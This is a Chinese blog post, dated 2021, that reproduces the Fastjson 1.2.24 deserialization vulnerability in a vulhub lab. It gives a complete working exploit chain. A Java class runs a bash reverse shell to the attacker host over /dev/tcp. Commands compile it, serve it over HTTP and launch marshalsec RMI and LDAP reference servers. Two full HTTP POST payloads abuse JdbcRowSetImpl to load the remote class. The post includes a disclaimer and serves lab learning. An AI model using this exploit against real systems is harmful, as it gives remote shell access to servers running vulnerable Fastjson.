当前位置 博文首页 > Chen-w:Fastjson反序列化漏洞复现

    Chen-w:Fastjson反序列化漏洞复现

    作者:Chen-w 时间:2021-05-06 18:17

    Fastjson反序列化漏洞复现

    0x00 前言


    对Fastjson反序列化漏洞进行复现。


    0x01 漏洞环境


    靶机环境:vulhub-fastjson-1.2.24
    ip:172.16.10.18 端口:8090
    攻击机环境:kali,ip:192.168.82.130


    0x02 漏洞利用


    (1)首先使用docker起一个fastjson反序列化漏洞环境:

    访问环境页面如下:

    (2)RMI利用方式
    先编写好攻击脚本,反弹shell到kali上:

    public class Exploit {
        public Exploit(){
            try{
                Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.82.130/8888 0>&1");
            }catch(Exception e){
                e.printStackTrace();
            }
        }
        public static void main(String[] argv){
            Exploit e = new Exploit();
        }
    }
    

    接着使用javac将其进行编译,命令:

    javac Exploit.java
    

    然后对多出一个.class的文件:

    把编译好的文件放在kali上,并在kali开启一个简单的HTTP服务,利用python3,命令:

    python3 -m http.server 8080
    


    接着使用marshalsec项目,启动RMI服务,监听8001端口并加载远程类Exploit.class,命令:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.82.130:8080/#Exploit" 8001
    


    然后在kali上开启监听8888端口:

    开始攻击,payload如下,注意是以POST方式提交:

    POST / HTTP/1.1
    Host:172.16.10.18:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 167
    
    {
        "naraku":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.82.130:8001/Exploit",
            "autoCommit":true
        }
    }
    


    查看RMI端记录:

    查看监听部分:

    成功,返回shell
    (3)LDAP利用方式
    前面大致过程相同,唯一变化的地方在于使用marshalsec项目,启动LDAP服务,监听8002端口并加载远程类Exploit.class,命令:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.82.130:8080/#Exploit" 8002
    


    在kali端依然监听8888端口:

    在burp端发起payload,payload如下,依旧注意是POST请求:

    POST / HTTP/1.1
    Host:172.16.10.18:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 167
    
    {
        "naraku":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://192.168.82.130:8002/Exploit",
            "autoCommit":true
        }
    }
    


    查看ldap端显示:

    查看监听端,成功反弹shell:

    0x03 免责声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

    bk
    下一篇:没有了